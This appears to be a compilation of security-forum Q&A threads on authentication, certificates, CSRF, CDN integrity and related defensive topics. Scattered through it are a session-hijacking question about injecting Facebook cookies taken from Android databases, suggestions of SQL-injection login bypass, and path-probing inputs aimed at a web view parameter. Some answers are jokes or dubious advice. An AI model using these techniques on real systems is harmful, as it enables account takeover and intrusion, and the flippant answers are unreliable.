My guess is that the scammer does not know anything about you. The app in question is widely popular and one of the most successful apps on both iOS and Android. An attacker may just send out large amounts of mails containing such "most probable apps"/"best guesses". It would have been the same if the scammer sent an invoice for WhatsApp, which you most probably have installed on your device.

This tactic can also be observed in other recent spam waves like the notorious sextorion scam where the attacker sends a rather ominous remark about your porn preferences:

  i installed a software on the adult videos (pornographic material) web-site [...]  1st part displays the video you were viewing (you’ve got a nice taste haha)

So to sum it up, this is most likely just a wild, but very probable guess, and you are not compromised. Countermeasures in this case: delete the email, go catch some Pokémon and have fun.


How to overcome the risk of account being compromised using OTP when mobile device is stolen What is the preferred way to provide a "password reset" functionality for an application installed on a mobile device?

In mobile applications, generally password reset works by sending OTP to the user's mobile. But this procedure seems risky in case the device is stolen. In that case, the attacker could request OTP and change the password and get credentials for the application.

Please suggest ways in which we could remediate this and make "password reset"" functionality secure

Authentication can be done in three ways:

Something you know (eg. a password)
Something you have (eg OTP)
Something you are (eg. a fingerprint)

So you can use any combination of two or all three for the password reset functionality. For example, if a user asks to reset password, you can ask the user a set of 2 questions and when he answers those correctly, you can send the OTP or the code to the mail ID.


Is this login authentication safe? I have been thinking of a way to authenticate users so as to pick out the users using cracked versions of my game from the people who have actually bought it. I came up with this idea:

The client asks the login-server for his bl_hash, which is updated every 12 hours. (Does it need to be a smaller time frame? I am using Threefish-512 to update the blocks, the key would be a CSPRNG's output. )

The client then encrypts the bl_hash with the hash of his password (the u_hash), this is known as the l_hash.

The client sends his l_hash to the gameserver along with his username. This is packet_login.

The game-server sends the received packet_login data to the login-server.

The login server decrypts the l_hash with the u_hash and replies to the server whether this is the guy who he says he is or not.

The game-server either rejects or accepts the player according to what is received from the login server.

I understand this could be susceptible to a man-in-the-middle attack for the server, but this would probably be impossible to do since the gameservers will likely be inside a data centre. Are there any possible improvement that I can make?

Thank you for your time, and I deeply apologise if this is in the wrong site!

If I understand you correctly, the login packet will be exactly the same for the same user within the validity time of bl_hash. So a passive attacker can record and replay it. To prevent this kind of attack, bl_hash should be used only once (see nonce).

Decrypting the login packet with the hash of the user password, implies that the hash is not salted. A salt is a random string that is unique for each password and is concatenated before the hash is calculated. It prevents an attacker, who got access to the account database, to attack all passwords in parallel with a dictionary attack. Instead of a simple hash, you should use one of the password hashing algorithms such as sha512crypt, bcrypt or scrypt to store the password.

The client does not authenticate the server. Therefore a man in the middle attack is possible.

I strongly recommend to use SSL. It is a very well tested protocol with libraries for all common programming languages. And it is not vulnerable to any of these problems.


Forensic analysis of Android SQLite DBs In an extraction of com.facebook.katana/Database db files (fb.db and webview.db), I get:

fb.db
If I use an hexadecimal editor to open those files, even when there is no SQLite record named c_user, neither datr, nor lu, etc. at some offset of the file, there are these strings. Could they be the active Facebook session that was open at the last use of the cell phone?
How do I know the length of the fields in order to inject the cookies in a web browser and hijack the session?

webview.db
This database does contain a table cookies and some records in it, that are: datr and lu.
I tried to inject these two cookies in my web browser but couldn't get  logged into my account.

I'm planning to dump all records in a format that can be imported into Firefox's Cookie Manager and see if that works.

The main question would be: Is it possible to use that information the same way one could capture live traffic and extract and then inject cookies sent within the LAN to Facebook servers? If so, what cookies or information I'm missing?

Any 'active' login cookie is only valid for that session (see how SSL works).

Your method/concept of extracting an 'active' cookie from the phone and inserting into another session is technically possible but for it to actually work you need to first have a truly active cookie.


Can JSON webtokens be used to simplify the OAuth2 protocol without compromising security? I have used json webtokens to handle authentication for some hobby websites in the past. For my next site I would like to use OAuth2, to allow my site to be used with other services.

It seems that the OAuth2 authorization_code protocol adds some extra steps (state and the authorization code) in order to prevent a kind of replay attack where one client is tricked into using an access token issued to another client.

Is that the only purpose of issuing an authorisation code prior to token exchange? If I add information such as client_id and expiry time into a signed JWT and return this as the 'authorization_code', skipping the token exchange step, will I have lost any security? I am assuming that all communication is happening over https.

The point of the code is to prevent collection of the access token by a man-in-the-middle between the user and the authorization server.

Once the client has the code it needs to use that code in addition to its own client ID and secret and send it off to the authorization server for an access token. This has the benefit that both you and the client are authenticated/authorized against the authorization server, meaning the protected resource has some assurance every party is who they say they are. Once the client has the token, it's supposed to store the token internally and never release it to you.

The interaction between you and the client is authenticated by its own mechanism (say a session cookie), and the client then uses the access token it has internally to reach out to the protected resource.

The key here is that the client is sufficiently protected from someone grabbing the token because it's (for example) on a remote web server instead of the just running locally on your computer.

Conversely, if the client eventually reveals the token to the user, either by using it for it's own session management, or is running locally on your own computer, then the code doesn't provide any value because you can easily extract the client Id, secret, code, or token.

Adding the client Id to the token doesn't necessarily prevent stealing of the token. It just means the token was intended to be used through a given client.


How to get the statistics of users opening the attachment in a phishing mail during a social engineering campaign test? I have to do a social engineering test for a friend's small company. He wants to know how many people opened the mail and then opened the attachment. How can I do that? The file can be anything- pdf,excel or doc. We do not want to send any malicious exe files as the aim is to check the awareness only.
Edit 1: Instead of downloading, the statistics to look for is "how many people opened the file?"

Not really possible but I will give you some alternatives I can think about:

Instead of attaching the email send a link and say something like "To open the document click here" and here is a link and then track how many people clicked it.
Add a very small white image that will sit on your server and when the email loaded the image will be requested and then count the requests.
As said in the comments:

  What you can do is creating a pseudo-malicious file that only connects back as to count for execution. Especially, since saving a file to disk does not constitute a problem with awareness

These are some of the ideas I have on the top of my head.


Accidentally came across the source code for some malware, what to do? I accidentally, the other day, went to a dodgy site, and today I discovered that in my cache there lay a text file. And after reading the contents of the file, I have deduced that it is the source code for some potentially new malware which exploits a vulnerability in a security program.

Now I want to submit it to my anti-virus vendor, however, do I just submit it as a text file (as they would have to compile it in order to get a virus signature and I don't know how automated the process is), or should I stick it in my IDE, build it and then send the built version to them, or how should I send it to them? In the most safe and responsible manner that is.

I'm afraid your compiled binary will differ a lot from the actual malware that can be found in the wild. Different compilers and command-line flags will produce completely different binaries, and the malware binary may be further optimized/obfuscated using additional tools or even manually.

Submitting them your compiled binary is likely to be counter-productive and will only waste everyone's time. Instead, if you can't directly submit the source code file (because their form expects a binary, etc), try to get in touch with a human and give them the source.


Where is the PDF encryption key stored Assuming you have the user protected PDF file. Using the password, the cryptographic key is generated and the file encrypted. Where is the key stored, is it on the RAM every time the file is opened?

I am not an expert on either the PDF spec or PDF readers, but I would guess the encryption / decryption key for a cipher like AES is derived from the password using a Password-Based Key Derivation Function such as PBKDF2, and that the password and key are only held in memory long enough to decrypt the document. After that you can zero out both the password and the key and only keep the decrypted document in memory.

... some googling later ...
According to this old article describing the behaviour in PDF 1.3 (Acrobat 4.x -- 1999), it does seem to be the case that the content encryption key is derived on the fly from the password. I'm sure the ciphers and key lengths have since been updated to something more modern, but I would guess that the general scheme is the same.

The encryption key is generated as follows:

Pad the user password out to 32 bytes, using a hardcoded
32-byte string:
28 BF 4E 5E 4E 75 8A 41 64 00 4E 56 FF FA 01 08
2E 2E 00 B6 D0 68 3E 80 2F 0C A9 FE 64 53 69 7A
If the user password is null, just use the entire padding
string.  (I.e., concatenate the user password and the padding
string and take the first 32 bytes.)

Append the hashed owner password (the /O entry above).

Append the permissions (the /P entry), treated as a four-byte
integer, LSB first.

Append the file identifier (the /ID entry from the trailer
dictionary).  This is an arbitrary string of bytes; Adobe
recommends that it be generated by MD5 hashing various pieces
of information about the document.

MD5 hash this string; the first 5 bytes of output are the
encryption key.  (This is a 40-bit key, presumably to meet US
export regulations.)


Specify multiple ips in a certificate I created an x509 certificate using gnu certtool, in the certificate template i specified cn=myip
Problem is that each time I change my network I need to remake the certificate because my ip changes...and from client side it is even worst:if I want to contact a server on my private network I need a 192.168 address, while on a public network I need to specify a true address...this is annoying...

Edit.
I need this for tls procol and mutual authentication.

RFC 2818 says the following:

  In some cases, the URI is specified as an IP address rather than a
  hostname. In this case, the iPAddress subjectAltName must be present
  in the certificate and must exactly match the IP in the URI.

You should probably be using a resolvable (public or private) domain name for the CN field. It is not advisable to use an IP address for CN as the RFC recommends using the SAN field.


Is encrypting something more than once safer than hashing more than once? I am aware of the implications that hashing something more than once correctly will increase the security of a system, but doing it incorrectly will decrease it, as noted here and on various other sources.

But I stumbled upon a feature of Keepass, where the password database is encrypted N times to increase the work factor for brute force or dictionary attacks. This part explains how it is done: Protection against Dictionary Attacks

While I think that I am aware of the implication of hashing several times I am unsure whether encrypting several times, as explained above, increases robustness of the database.

Disclaimer: I've read Keepass Dictionary Attack Protection Strategy

It's a different scheme. Generally it is accepted that when using a password hashing algorithm, which is intended to be very slow, is acceptable. What KeePass is doing is very similar to what most hashing algorithms do, namely slowing down hash calculation.

Their way is not a standard way. Most password hashing algorithms, such as PBKDF2, scrypt and bcrypt can actually also be tuned in the number of rounds to be used as to increase workload.

The question about which is more secure has to be put into perspective. If you slow down the hashing as much as with their encryption scheme, then the security should be the same.


How to ensure the third party CDN is secure (and stays secure)? Most of the modern applications are using CDN for third party libraries. For example, let's say I use xxxv2.min.js from cdn.example.com/xxxv2.min.js
Everything is good, until the day that company has been hacked and their min.js file hijacked and injected some sort of script in it to get all the user cookies such as XSS.

To not leave the security of my application on someone else's hand (even though they are giant companies, for sure they are also bigger target than me for those bad guys!), I can use xxxv2.min.js locally but the trade off is performance here.

Can we make some sort of logic that basically still use the CDN but compares it with the local version of it with some sort of checksum or byte comparison? Or it is just overkill? What is the best way to use CDN securely, without relying the vendor's security protocols?

The security measures you are thinking of already exist. Take a look at this example from jQuery's CDN page:

<script src="http://code.jquery.com/jquery-3.3.1.min.js" integrity="sha256-FgpCb/KJQlLNfOu91ta32o/NMZxltwRo8QtmkMRdAu8=" crossorigin="anonymous"></script>

The notable part is the integrity="sha256-...", which a browser should check against the script to ensure the contents hash to the same value.

This defense is sufficient enough to mitigate your concerns, as an attacker can't modify the CDN script without it being detected. That is, unless you don't trust the website at all and the sha256 itself was placed by an attacker.


WebRTC attack surface area? I'm building an app for browser-to-browser communication.

What is the attack surface area for WebRTC in 2015?

What kinds of attacks could be done?  And more importantly, how do I craft something useful, that does it's reasonable best to be secure?

Here's a list of attacks I've found so far:

Information Leaks:

Leak IP address behind VPN
Persistent monitoring (audio/video).  Browsers work hard on this.
Screen sharing plugins.

Remote code execution:

Don't run javascript sent from other browsers.  Warn developers and users.
Don't open zip, pdf, or other executable files.  Warn users.
Searching Metasploit?
Video codec exploits?
Remediation by using a browser in a VM.

Here's some discussions from a couple years ago.

Are there any other obvious attacks?  Where would you start to hack a remote browser to which you have a WebRTC connection?

There is always the possibility of a zero day memory corruption exploit or other exploit.. with any kind of javascript API. I don't really see webrtc as being a huge security threat though. There are easier and more popular targets like flash. I think your list is probably complete, I have seen the VPN "exploit" a while ago, I think that's the only one which was known to be consistently possible, so that seems like a very good track record (so far). I probably would make this a comment, but I am not able to comment.


Threats of using cracked version of OS Just wondering, If I installed cracked OS for my computer, does it have any threats? Will it kill my computer instantly or in the long process, make it unusable? Thank you in advance!

The short answer is, it depends. :) It is definitely a risk, but probably in a slightly different way to what you might expect.

A "cracked version" I suppose means somebody was knowledgable enough to modify the OS binaries so that it doesn't need the license key anymore or accepts pirate keys. But how do you know the person who disabled license verification or activation or whatever was needed to "crack" it did not add any type of malware? The OS could be doing anything with malware from the cracker, it could be running a keylogger, look for credentials to known websites, upload your data to the attacker, display advertisements, encrypt your files at some point and request ransom, make your PC part of a botnet, etc. It probably doesn't do that, at least not all the time, but still, you will never be sure.

Also it's not just the cracker itself. Cracked binaries go through dodgy storages, ftps, torrents, who knows what before you download them. As integrity/authenticity is practically never checked (at least not for security), any of those storages could have added their own malware, and this is probably an even bigger risk, because there are so many opportunities.

So no, it won't "kill your computer instantly" (whatever you think that means), but there is a very good chance that it is infected with malware (probably multiple types) and using it is not secure at all.


how to do a pentest to /assets/js/login.js Hey guys this is my first question in this kind of platform. I made a pentest a vulnerable machine this is like a web page video content there are not much target vectors. In my attack a detect only two possible attack vectors an admin panel (http://vulnerabletarge.com/login) and GET parameter(this seems sanitized) in the search bar. I want a path clarification must be try to bypass login, brute force (there are not maxium number of attempts) or expand my content discovery list.
The js file have more than 1000 lines of code and in pure javascript dont have HTML body or head tags.
The login pages only have this

And show a login. I need a some help

Unfortunately it's impossible to say something without seeing a source code or the originate web application.
Here I can only "blindly" suggest you only three things besides of brute-forcing the login form:

Try SQL injection in the login form. Some applications might be
vulnerable to login bypass through SQLi.

Try to load this JS file to some static security code analyzers.
It's not a big chance that it finds something, but you can try. Here
is the list of security code analyzers collected by OWASP:
https://owasp.org/www-community/Source_Code_Analysis_Tools

Try to google the parts of the JS source code. It can give you more
information about the environment. There is a chance that this web
app is using some software containing known vulnerabilities. Also
try to find comments and copyrights within the JS code for the same
purpose.


SSL certificate renewal and downtime due to revocation We are in the process of renewing an SSL certificate, mainly for the forced use of SHA256. It is my understanding that a new Certificate Signing Request (CSR) has to be issued for the same host name, and get signed. This will give us the new certificate to import in our keystore.

However, when I renew a certificate, does this IMMEDIATELY revoke the old certificate, so that nobody can log on my web site until the newly created certificate is imported in my keystore ? Is there an overlap time during which I can still have my web site running under the old cert until I flip to the new cert, at , say, 2 AM when nobody is accessing my web site ? BTW: My Certification Authority (CA) is Entrust Technologies.

Renewing an SSL certificate is the functional equivalent of generating a new certificate;  it is not a revocation, and the 'old' certificate will continue to be accepted as valid, assuming it has not yet expired.  There is no downtime/maintenance window requirement for its replacement.

Note however that due to the SSL SHA1 Hashing Deprecation, many certificate authorities (CAs) are moving quickly to phase out SHA1 in favor SHA256 by the end of 2016. This means that many CAs are making it easy to "re-key" existing SHA1-based SSL certificates, providing a quick regeneration of the existing SSL certificate, using the new SHA256 hashing algorithm, usually with a few clicks. GoDaddy, a major CA/domain registrar, implements this feature via their Starfield SSL CA service.

What is not often made clear, is that a re-key of a SHA1 cert to a SHA2 cert can include an implicit revocation of the existing certificate. The underlying process at Starfield to rekey a SHA1 certificate generates a revocation request, immediately rendering your current SSL certificate invalid. There is no documentation or warning on this important detail (!).  Many will assume requesting a re-keyed certificate is the equivalent of of a certificate renewal, when in fact it is a revocation request, plus the generation of the new certificate.  Imagine your surprise after clicking "re-key" and then downloading the new certificate, perhaps waiting for a later install, and that within a few hours your SSL endpoint become invalid.  Not fun. So be very careful on re-keying SHA1 certificates during the SHA1 deprecation transition period.

Another point to be aware of when migrating from SHA1 to SHA2 certificates, is to make sure and download and install the new CA intermediate certificate chain into your keystore at the same time. The SHA1 to SHA256 migration often means that the new SHA256 certificate requires new intermediate SHA256 certificate chains in your key store.  Not doing this can result in the invalidation of the base certificate.


Pawn in a nefarious porn marketing campaign? About a month ago we upgraded (maybe not the right term) our site to WordPress.  In that time we went from about 3800 inbound links (according to Google WebMaster) to about 5000.  We exported our list of inbound links in order to do some analysis and found some odd things going on.

There were a number of sites that had never linked to us before that that were now linking to us with anchor text of an explicit nature (asian sex was one of the tamer ones, but they got pretty raunchy) that are clearly intended to attract people looking for porn.  Just to clarify - our site has nothing to do with content like this.

The site that contained the links was http://boardroomng.com/.  When I go to this site now and look at the source there is nothing pointing to my site.  I looked through the source code and found most of the explicit anchor text that I saw in Google WebMaster stuffed into the end of the page, but now it links to a different URL (http://ambiyaan.com which I am afraid to visit).

Could this be an indication that my site is being used for something evil?  What would be the end goal of someone doing this?  Are there any steps that I should take to make sure that I am protected against whatever this is attempting to do?

I think the most likely thing here is that the links are being edited with JavaScript on page load. Google's spiders do not run JavaScript, as far as I know, and it's very common for hackers to use client-side scripts to inject links instead of editing the HTML as it allows for obfuscation and mutation (to prevent users from wgetting and removing the offending code). It's also possible that they are using JavaScript because the site has a XSS bug of some kind.

Either way, they probably point the pre-edited links to you as a misdirection tactic, similar to how virus authors add known DoD IPs to the list of update servers (I'm not sure how common that is but there was another question on stackoverflow regarding a virus that did exactly that).

As for solutions, I'd suggest you convert your website to a porn site and enjoy the free traffic.


Returning parameterised view So I just came across this nasty looking piece of code.

public ActionResult Display(string viewName)
{
        return View(viewName);
}

I would avoid having that parameter or at least I would get that parameter through a white-list as I would do with any untrusted data but aside from that I was wondering whether this is actually exploitable or not.

Now what I've tried so far is to get non cshtml files and files outside of the root of the application with no luck. (no view engine supports the searched locations)

?viewName=~/web.config
?viewName=C://anotherview.cshtml
?viewName=https://anotherdomain.com/anotherview.cshtml

The only thing I've been able to is get other views rendered which in theory I shouldn't ever been able to see (Admin actions and stuff of the likes).

But even after getting those views and assuming no data is hardcoded in the views it still doesn't seem to be a big deal.

Is there any other way to take advantage of this parameter? I'm guessing all goes down to whether the View function has an implementation bug that will allow to bypass either the location or type of file to return.

For all practical purposes, there is in fact a whitelist in effect here.

The parameter isn't a file name per se, but a view name, only useful for loading an instance of an already compiled view which is a type implementing the IView interface, from the application. Giving it arbitrary file names, or any content that isn't the name of a view in the context of this controller in this application, and you'll get nothing.

So no, no vulnerability here.


TunnelBear VPN Chrome extension doesn't encrypt DNS Queries I'm using a VPN provider in occurance TunnelBear and decided today to run Wireshark in parallel and found out that DNS resolutions are happening un-encrypted using OS default name resolution, e.g. through the DNS server IP addresses set in Windows.

In a nutshell TunnelBear is a plugin that adds on Chrome and is supposed to route all web traffic including DNS encrypted through their network.

This alarmed me quite a bit, and am wondering just to further confirm, if I didn't activate any special packet decryption setup in Wireshark, that truly means that whatever I'm seeing on Wireshark could not have been encrypted originally and decrypted by Wireshark, is that correct ?

I have found the answer after speaking with TunnelBear support and got their confirmation.

Indeed, domain queries were going out unencrypted which is why I could see them in Wireshark when using the TunnelBear browser extension alone.

It's because the extension sandbox in Google Chrome doesn't allow them to override DNS resolutions. But they have a workaround, which is to install the full version of their VPN program.

Here was their response:

  Hey Wadih,

  Sorry if I wasn't clear in my explanation. I talked to our engineers a
  little more and they've clarified this for me further.

  It doesn't (and can't) encrypt DNS requests made by Chrome browser
  itself because whatever Chrome does is outside of the our extension's
  sandbox.

  if you are concerned about all traffic and all DNS requests being
  encrypted, you should be using the full desktop app
  (tunnelbear.com/download). When using the full  VPN application, you
  should compare your WireShark results, at which point you should be
  seeing ALL DNS queries as being encrypted.

  I hope this helps clarify expected behaviour a little further.

  4-3-2-1 Tunnel!


Should I trash my router if it still runs OpenSSL 0.9.8p and OpenVPN 2.2.2 in 2017? I have the Easybox 904 xDSL router from Vodafone (Germany) running the latest firmware 03.17.01.17.

I wanted to upgrade the firmware but found out that the latest version is from 2015 - no updates since then. There's a list of all open source software used in this router, including:

OpenSSL 0.9.8p
OpenVPN 2.2.2
linux kernel modules, V2.6.32

What I actually want to accomplish is to gain access to a Synology DS916+ running the latest OS, having letsencrypt certificates and lots of security configured:

access CloudStation and FileStation using dynamic DNS and port-forwarding
access Gitlab by using a VPN-connection to my network

Is it still secure using this router or should I get a new one?

You may disable all the features you don't want to use on your router. You can enable SSH only when needed and keep it disabled at all other times. Port forwarding and connection over VPN to your local devices is very good approach. Also make sure there is no way to connect to your router from the internet - allow access only from your local network and always via SSL if possible. Use UPS to power your router and if you have to REBOOT it do it offline, then connect the internet wire once fully rebooted. Routers tend to be vulnerable during the boot sequence, typical attack might be to force the user to reboot the router and then attack it.


Security Report about "Insecure Content-Type Setting": Does this apply to CSS and JavaScript as well? I am working through a report of an automated vulnerability scanner. One Item is

  Web Server Misconfiguration: Insecure Content-Type Setting ( 11359 )

It's about not returning the character-set for a given HTML page like so, for example:

HTTP/1.1 200 OK
...
Content-Type: text/html; charset=utf-8
...

the reported response in question only gives

HTTP/1.1 200 OK
...
Content-Type: text/html
...

Now I understand the implications, but what about CSS and especially JavaScript?

Is the charset of CSS and JavaScript resources strictly defined by a standard?

What if I have internationalized strings in JavaScript variables? Will those by definition have to be escaped? Or would this case require the declaration of a charset?

Is the charset of CSS and JavaScript resources strictly defined by a standard?

No. It is similarly flexible as with HTML, i.e. can be defined in the style itself, by the embedding HTML or in the HTTP header or even with a byte order mark. If not explicitly defined it might also have a default or might depend on the charset encoding of the embedding document:

@charset "UTF-8";
<link rel="stylesheet" type="text/css" charset="utf-8" ...>
Content-Type: text/css; charset=utf-8

And the same is true for JavaScript. Thus, you better always specify the charset encoding.


How would google know someone has the password for my web host email? I received a confusing email from Google today. It had the subject 'Critical security alert' and the body said in part 'Google has become aware that someone else knows your password, and we've taken steps to protect your account.'

Apparently these are legitimate, and I've confirmed the links and message headers don't look like a phishing attempt.

Image: https://imgur.com/a/cvpfh3k

The odd thing is that the email address listed is not a Gmail address - it is an email associated with one of my web hosting accounts. We fetch mail from this account via POP3 into our Gmail account.

The text is unambiguous - they state plainly they know someone knows the password to this account. But how? Google has no special access to the account. They  presumably have the plaintext copy of the password available for POP3 authentication, so if there was a data breach on this storage at google then I guess that's one way, but I'm coming up blank on anything else. And the text 'sign back in' sounds like they meant to send it for Gmail but I don't know how to ask them.

Even if my poor security hygiene meant a third party had access how would Google know?

Since Google has the password for the POP3 account it can check the common password dumps if the password is known publicly. They don't claim that somebody is actively using the password with your POP3 account, only that somebody knows it. And they urge you to change the password to protect your account.


Is revealing the phone number during OTP verification process considered a vulnerability? One of the common way of implementing 2FA is using phone number Text message or Call with OTP. As I can see, usually web services show something like:
OTP was sent to the number +*********34

Is it done because revealing the number is considered a vulnerability?
If yes, then which one and is it described anywhere?
I guess it has something to do with not wanting to show too much info about the user. This info might be used for social engineering but maybe there is something else?
Having a link to a trusted location with the description would be great as well.

The primary attack method against text message OTP is to 'sim swap' and take over the target's phone number.  If the site provided the full number in this scenario, they'd be giving the attacker exactly the information they need to break the security being used.
(To lift up comments: In general, more personal information is needed, if you're going to social engineer telecom staff into swapping the SIM.  In some places and under some carriers, it's even harder than that, requiring ID to be presented in person.  But there are also cases where nothing more than the phone number is required, even with enhanced protections in place, if the telecom staff are colluding with the attackers.)


anti-CSRF tokens vs Referer and POST testing I understand anti-CSRF tokens to be a chunk of data sent in the response that is expected to match in subsequent requests, but is not stored in cookies. For example, a form with a hidden value that must be included before action is taken on the submit.

The drawback to this is that all the apps and programmers must remember to include this extra token.

I see an alternative solution that allows individual apps to only need to require POST for modifications to data, and their job is done.

To make this work, we simply require all POST requests to have a Referer of the same site.
(not an untrusted site, not a non-https site, and not a blank referer)

Is this solution a complete replacement for anti-CSRF tokens?

This is not a solution because common desktop firewalls offer an option to strip the Referer header for privacy reasons.

Furthermore some plugins allow to set the Referer header to arbitrary values, although the common plugins (Java, Flash) prevent this in recent versions.


How secure is internal data on the internet with IP authentication? I am a app developer and working with another software group at my MEGACOMPANY.  Said group wants to put confidential information on the internet and they are very happy with their authentication system which just blocks that content from our normal customers based on IP address.

I have already cracked their system yet the bosses at MEGACOMPANY tell me that I can crack any system so me getting into the content doesn't equate to a security issue (please giggle a little).

I am asking for SSO authentication as we have on 99% of our sites.  They want to keep current system for a variety of reasons.  How secure do you believe this site to be?  Also are there methods that robots or joe-average-instigator would use to gain access to the information?

If you have shown the stakeholders the risk and they have decided to accept the risk as "not likely", then the decision is out of your hands. You need to continue to educate, educate, educate, but you need to understand that it is management's job to manage the costs and risks to the company. InfoSec's job is to serve the company, even if the decisions the company makes is not "best practice".

Your job now, because you understand the threat, is to come up with ways to mitigate the risk that you identified and present that plan to the stakeholders. "If someone like me were to want to get the data, they would to X, and this is how we can mitigate that breach."


Security tradeoffs while designing a mobile Web Service API I'm not a security expert but I want to ask about tradeoffs in a web service API I'm designing for mobile apps.

It is an API which tracks users' locations so yes, the data is reasonably sensitive. However, it will be used by mobile applications, so I believe most of the time it will run on networks which are less prone to eavesdropping.

The app will keep user credentials (login and password) encrypted in a local database. I'm not sure which encryption scheme to use though.

The API will be accessed over HTTPS.

I'm considering either a long duration multi-use token or short duration one-time tokens. The shorter (length) the better, in order to reduce bandwidth usage. However, I'm not aware of how a token should be properly generated, in case some ten or more random bytes is not enough.

I'm asking about tradeoffs so I'd like advice on how safe is this strategy in the majority of cases i.e. in situations which are more likely to happen. However if you feel I'm overlooking the risks feel free to emphasize it and suggest alternatives (though I'd be curious about how far I could get with the tradeoffs if the data was less sensitive).

The app will keep user credentials (login and password) encrypted in a local database. I'm not sure which encryption scheme to use though.

Don't encrypt the password, hash it. Ideally using something like bcrypt.

  I'm considering either a long duration multi-use token or short duration one-time tokens. The shorter the better, in order to reduce bandwidth usage. However, I'm not aware of how a token should be properly generated, in case some ten or more random bytes is not enough.

The most common system I've seen is using something like a JSON Web Token. When a user authenticates themselves, create a token with information identifying the user (e.g. the user ID) and an expiration date. Sign and return the token.

Every time the token is used to authenticate a user, verify the signature, confirm the the expiration date hasn't passed, and then use the user ID to identify the user.


How to get SSL certificate of a mail server? I need to get SSL certificate of some mail servers. I know I need to do execute following steps.

Do a DNS mx query on the domain name (dig google.com mx).
Use the information to download SSL certificate (openssl s_client -showcerts -connect google.com:443).

But I am not sure what information I should pick up from step 1 and how it should be used in step 2.

To get the SSL/TLS Certificate of an SMPT server pick the domain of one MX record from the answer section of your DNS query and feed it to openssl:

$ dig gmail.com mx
[...]
;; ANSWER SECTION:
gmail.com.      3599    IN  MX  20 alt2.gmail-smtp-in.l.google.com.
gmail.com.      3599    IN  MX  5 gmail-smtp-in.l.google.com.
gmail.com.      3599    IN  MX  30 alt3.gmail-smtp-in.l.google.com.
gmail.com.      3599    IN  MX  10 alt1.gmail-smtp-in.l.google.com.
gmail.com.      3599    IN  MX  40 alt4.gmail-smtp-in.l.google.com.
[...]

$ openssl s_client -connect gmail-smtp-in.l.google.com:25 -starttls smtp
[...]

Note: it's not a safe assumption that the web server (if there is any) running on the same machine as the SMTP server uses the same certificate.

see also https://serverfault.com/questions/131627/how-to-inspect-remote-smtp-servers-tls-certificate#131628


Should the recent Tiny Chip attack teach us to invest less in our security posture? Now with upcoming new year budgets to purchase the next tools and services for protecting our company to increase organization posture against cyber attack, I can't stop thinking if we should reduce all those budgets because there is no way to reduce the recent type of risk of chip cyber hacking.

No, for so many reasons.

First, let's lay out there that right now (2018-10-05) there has been discernible concern within the Security community about the fact that "what we know" so far is very thin and rests heavily on the reputation of the reporters.  The "targeted" companies have published denials which are "heavily detailed, denying the Bloomberg report point-by-point."  The GCHQ has publicly supported those denials, and Homeland Security on 10/06 agreed that they "have no reason to doubt the statements from the companies named in the story."

It's very possible that people with enough clearance to know more have too much clearance to talk about it, but as it stands, there's a chance this could be FUD.

That said -

All the non-Tiny-Chip threats still exist, and are just as worth spending money to mitigate tomorrow as they were yesterday.
With what little we know about Tiny Chip today, there's no reason to think that traditional Security architecture, engineering, and operational practices won't reduce or eliminate the threat.  For example, segmentation has been cited as a countermeasure that might be effective.
Tiny Chip has always existed as part of the threat model.  All that's (potentially) changed is the scope of it, and if a threat becomes industrialized enough to widen the scope like that, that's exactly the time to bring Security Professionals to bear on the problem.  Industrial* problems are more susceptible to well-designed countermeasures than one-offs.
Tiny Chip falls into the category of Nation-State Actor threats.  There are many things that Nation-States can do to compromise your security, which you can do nothing about.  Always have been.  Always will be.  Fortunately, for most of the businesses out there, Nation-State attacks are a limited or even non-existent part of their threat landscape.  Kim Dotcom ticked off a lot of governments - Kim's Nails on Wabash Way, Plainfield, very few of them.
You might, even more plausibly, propose that business simply stop using computers as an effective method of reducing the risk of Chip Hacking.  The business would be less vulnerable, less reliant on Security professionals, and go out of business even faster - win, win, win!

*When I say "Industrial", I mean "rolled out in a systematic way, which implies some commonality of devices, methods, and behaviors."  If you want to chip 5 laptops by hand, that's fine.  If you want to chip a production line of 50,000 laptops, you're going to have to industrialize the process, and the result will carry a uniformity which makes detection and countermeasures easier.


Is Google overreaching by forcing me to use TLS? Gmail was recently changed to require HTTPS for everyone, whether they want to use it or not. While I realize that HTTPS is more secure, what if one doesn't care about security for certain accounts?

Some have criticized Google for being Evil by forcing them into a secure connection even if they don't want to be secure. They argue that if it's just their own account, shouldn't they be the only one to decide whether or not to secure themselves?

Note: This question was posted in reference to the article linked above in order to provide a canonical answer to the question being asked off-site (which is why it was answered by the same person who asked it).

It's not just about you. By forcing users to use TLS, they're creating a more secure environment for everyone.

Without TLS being strictly enforced, users are susceptible to attacks such as sslstrip. Essentially, making unencrypted connections an option leads to the possibility of attackers forcing users into unencrypted connections.

But that's not all. Requiring TLS is the first step in moving toward HSTS enforcement on the google.com domain. Google already does opportunistic HSTS enforcement -- which is to say that they don't require TLS, but they do restrict which certificates are allowed to be used on Google.com (nb: this technique is now called HPKP). That's an improvement, but it's not ultimately a solution.

For full HSTS enforcement, they need to ensure that requiring TLS on all Google services within the domain won't break any necessarily third-party solutions. Once enforcement is turned on, it can't easily be turned off. So by moving services one-by-one to strict TLS enforcement, they are paving the way toward making HSTS enforcement across the domain a reality.

Once this enforcement is in place, browsers will simply refuse to connect to Google over an insecure or compromised connection. By shipping this setting in the browser itself, circumvention will become effectively impossible.

  Disclaimer: I work for Google now but I didn't work for Google when I wrote this. This is my opinion, not Google's (as should be immediately clear to anyone with a basic understanding of chronology).


Which mail clients support PGP/MIME - is there an overview? Does anyone know if there is a current overview (I only found ones from before 2006) which MUAs (mail clients) do support PGP/MIME?

I wonder whether there still exist issues like "Outlook Express does not support PGP/MIME" or whether this issue can meanwhile be neglected?

Thanks for any pointers...

Regards.

P.S.: This post is related to the more complex question I asked 2 weeks ago which unfortunately nobody could answer: https://security.stackexchange.com/questions/52417/s-mime-vs-pgp-mail-clients-with-pgp-mime-support - hope it is fine to ask a simpler, even though related, question...

Wikipedia has a table full of answers in its Comparison of Email Clients.  No telling when the table was last updated, but probably newer than 2006.  Yes, by all accounts, Outlook Express is still broken (surprised?  I should hope not).


Code Review on a Header Injection In Java : any help? I'm auditing a piece of Java code that might be vulnerable to header injection :

String headerValue =request.getParameter("headerVal");

//escaping CRLF
headerValue = headerValue.replace("\n", "");
headerValue = headerValue.replace("\r", "");
response.addHeader("myheader",redirection);

This code is present directly in the layer view (jsp).

As far as i know this piece of code completely do not take into account that CRLF could injected in different encoding according to my readings.

In other words, I would like to report to the DEV team as a Canonicalization issue.

Because I think that developers will deny it, I'm trying to setup a proof of concept with a HelloWorld project with Tomcat6 but it seems tomcat is preventing this in background.

